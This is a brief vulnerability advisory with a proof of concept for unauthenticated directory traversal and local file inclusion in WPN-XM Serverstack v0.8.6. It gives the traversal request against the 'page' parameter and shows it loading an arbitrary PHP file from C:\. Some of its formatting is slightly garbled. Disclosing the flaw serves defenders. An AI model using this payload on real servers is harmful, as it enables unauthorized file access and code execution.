CWE: CWE-829, CWE-22

    Vulnerability description: WPN-XM Serverstack for Windows v0.8.6 allows
unauthenticated directory traversal and Local File Inclusion through the
parameter in an /tools/webinterface/index.php?page=..\..\..\..\..\..\hello
(without php) GET request.

Proof of concept:

To detect: http://localhost/tools/webinterface/index.php?page=)

The parameter "page" can be modified and load a php file in the server.

Example, In C:\:hello.php with this content:

C:\>type hello.php
echo "HELLO FROM C:\\hello.php";

To Get hello.php in c:\ :

Note: hello without ".php".

And you can see the PHP message into the browser at the start.


HELLO FROM C:\hello.php<!DOCTYPE html>
